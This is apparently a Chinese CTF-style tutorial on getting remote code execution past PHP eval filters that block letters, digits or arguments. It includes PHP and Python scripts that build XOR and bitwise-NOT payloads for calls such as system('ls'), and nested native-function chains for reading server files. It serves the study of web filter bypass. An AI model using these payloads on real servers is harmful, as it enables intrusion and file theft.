无字母数字
当字母和数字都被过滤时怎样RCE呢?核心代码如下。
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
利用非字母数字字符,配合运算符得到需要的字符。
异或
在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,再对二进制数据进行异或,再转为ASCII,最后转为字符串。
由此可以构造脚本得到一个字典,然后需要哪个字符的时候就遍历字典。
构造字典
<?php $file = fopen("output.txt", "w"); $a = ""; $b = ""; $dict = ""; $preg = '/[A-Za-z0-9]+/'; for ($i = 0; $i < 256; $i++) { // 前16个前面加0 if ($i < 16) $a = "0" . dechex($i); // 10转16 else $a = dechex($i); // 如果被限制了直接跳过这个字符 if (preg_match($preg, hex2bin($a))) continue; // 16转ascii // 没被限制加%,就变成了url编码 else $a = "%" . $a; for ($j = 0; $j < 256; $j++) { // 前16前面加0 if ($j < 16) $b = "0" . dechex($j); else $b = dechex($j); // 只要不被限制的 if (!preg_match($preg, hex2bin($b))) { // 在前面加%组成url编码 $b = "%" . $b; // 记录异或得到的内容、由哪两个异或来的 $out = urldecode($a) ^ urldecode($b); // 只要可用字符 if (ord($out) > 31 && ord($out) < 127) { // ascii转10 $dict = $dict . $out . " " . $a . " " . $b . "\n"; } } } } fwrite($file, $dict); fclose($file);
遍历字典
def search(word): a = '' b = '' for i in word: f = open("output.txt", "r") while True: dic = f.readline() if dic == "":break if dic[0] == i: a += dic[2:5] b += dic[6:9] break f.close() output = "('"+a+"'^'"+b+"')" return output s1 = input("[+] your function:") s2 = input("[+] your command:") flag = search(s1) + search(s2) + ";" print(flag)
成功执行!
取反
在PHP中,字符串被取反后还会在eval函数中执行。
<?php
$function = "system";
$command = "ls";
print_r("(~".urlencode(~$function).")(~".urlencode(~$command).");");
成功执行!
自增
利用PHP中的递增/递减运算符,也就是说'a'++ => 'b'
,那么理论上只要能构造出任意字母即可执行命令。
在php中,强制输出数组时,数组将被转换成字符串Array
,那么就可以拿到A了。
无参数
当限制参数的时候如何操作呢?核心代码如下:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
核心思路就是通过嵌套函数达到读文件或者RCE的目的,重点就是对PHP原生函数的利用。
scandir可以返回指定目录下有哪些文件,scandir(‘.’)就可以看到当前目录下有哪些文件,再利用数组函数选择需要读的文件读取。
常用的数组函数:
- end()- 将数组的内部指针指向最后一个单元
- key()- 从关联数组中取得键名
- each()- 返回数组中当前的键/值对并将数组指针向前移动一步
- prev()- 将数组的内部指针倒回一位
- reset()- 将数组的内部指针指向第一个单元
- next()- 将数组中的内部指针向前移动一位
常用的读文件函数:
- show_source
- readfile
- highlight_file
- file_get_contents
- readgzfile
payload:show_source(数组操作选择文件(scandir(路径)));
那么只需要构造出需要的路径就行了。
localeconv
localeconv
函数返回一包含本地数字及货币格式信息的数组,再通过current
和pos
,返回数组中的单元默认第一个:
或者reset
函数将内部指针指向数组中的第一个元素,并输出。
chr
chr
函数可以从不同的ascii返回字符,且以256为周期循环,46对应的点,那么构造出46就行了,有多种思路:
利用PHP中的数学函数构造出46。种子可以用数学常量,或者特殊函数的返回值。例如:
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));
利用PHP中的时间函数构造出46。chr函数是以256为周期循环返回字符,所以只要在增加或者周期性变化的返回值都可以得到
.
,例如:chr(pos(localtime()));
crypt
利用crypt
函数返回 DES、Blowfish 或 MD5 算法加密的字符串,其中有概率出现.
或者/
在末尾。种子可以利用时间函数得到。再利用ord
函数返回字符串中第一个字符的Ascii值,而hebrevc
可以得到第一位为.
的字符串。
也可以用strrev
将字符串倒序,这样可以得到第一位为.
或者/
的字符串。
crypt(serialize(array())))
也可以得到以.
或者/
结尾的字符串,再利用strrev
倒序:
getcwd
getcwd
可以得到当前目录的绝对路径
realpath
realpath('.')
可以得到当前目录的绝对路径:
dirname
dirname
可以返回路径中的目录部分。
由此可以读取其他路径的文件。要注意的是,在读其他目录的文件时要先用chdir
切换目录,否则读取的还是原路径: